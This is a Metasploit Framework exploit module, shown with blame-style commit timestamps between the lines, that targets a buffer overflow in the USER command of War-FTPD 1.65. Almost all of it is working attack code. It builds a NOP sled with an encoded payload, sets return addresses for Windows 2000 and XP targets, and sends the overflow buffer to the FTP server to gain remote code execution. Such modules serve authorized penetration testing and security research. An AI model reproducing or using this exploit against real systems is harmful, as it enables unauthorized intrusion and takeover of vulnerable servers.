2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-02-26 10:46:52 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-11-26 00:04:26 +00:00
|
|
|
require 'msf/core'
|
2005-11-11 01:22:03 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2005-11-11 01:22:03 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
2005-11-11 01:22:03 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2005-11-24 03:46:53 +00:00
|
|
|
'Name' => 'War-FTPD 1.65 Username Overflow',
|
2005-11-11 01:22:03 +00:00
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a buffer overflow found in the USER command
|
2005-11-24 17:41:32 +00:00
|
|
|
of War-FTPD 1.65.
|
2005-11-11 01:22:03 +00:00
|
|
|
},
|
2005-11-13 18:35:44 +00:00
|
|
|
'Author' => 'Fairuzan Roslan <riaf [at] mysec.org>',
|
2006-05-06 16:34:39 +00:00
|
|
|
'License' => BSD_LICENSE,
|
2005-11-11 01:22:03 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2005-11-11 01:22:03 +00:00
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'CVE', '1999-0256'],
|
2005-11-11 01:22:03 +00:00
|
|
|
[ 'OSVDB', '875' ],
|
2009-09-12 04:22:58 +00:00
|
|
|
[ 'BID', '10078' ],
|
2005-11-11 01:22:03 +00:00
|
|
|
[ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
'DefaultOptions' =>
|
2005-11-11 01:22:03 +00:00
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process'
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 424,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x40",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'ConnectionType' => "-find"
|
|
|
|
}
|
|
|
|
},
|
2007-02-26 10:46:52 +00:00
|
|
|
'Platform' => 'win',
|
2005-11-11 01:22:03 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Target 0
|
|
|
|
[
|
|
|
|
'Windows 2000 SP0-SP4 English',
|
|
|
|
{
|
|
|
|
'Ret' => 0x750231e2 # ws2help.dll
|
|
|
|
},
|
|
|
|
],
|
|
|
|
# Target 1
|
|
|
|
[
|
|
|
|
'Windows XP SP0-SP1 English',
|
|
|
|
{
|
|
|
|
'Ret' => 0x71ab1d54 # push esp, ret
|
|
|
|
}
|
|
|
|
],
|
|
|
|
# Target 2
|
|
|
|
[
|
|
|
|
'Windows XP SP2 English',
|
|
|
|
{
|
|
|
|
'Ret' => 0x71ab9372 # push esp, ret
|
|
|
|
}
|
2009-10-28 10:29:41 +00:00
|
|
|
],
|
|
|
|
# Target 3
|
|
|
|
[
|
|
|
|
'Windows XP SP3 English',
|
|
|
|
{
|
|
|
|
'Ret' => 0x71ab2b53 # push esp, ret
|
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
]
|
2005-11-11 01:50:05 +00:00
|
|
|
]))
|
2005-11-11 01:22:03 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
buf = make_nops(600) + payload.encoded
|
2005-11-24 18:30:56 +00:00
|
|
|
buf[485, 4] = [ target.ret ].pack('V')
|
2005-11-11 01:22:03 +00:00
|
|
|
|
2005-11-24 17:41:32 +00:00
|
|
|
send_cmd( ['USER', buf] , false )
|
2005-11-11 01:22:03 +00:00
|
|
|
|
|
|
|
handler
|
2006-01-08 14:27:59 +00:00
|
|
|
disconnect
|
2005-11-11 01:22:03 +00:00
|
|
|
end
|
|
|
|
|
2009-09-12 04:22:58 +00:00
|
|
|
end
|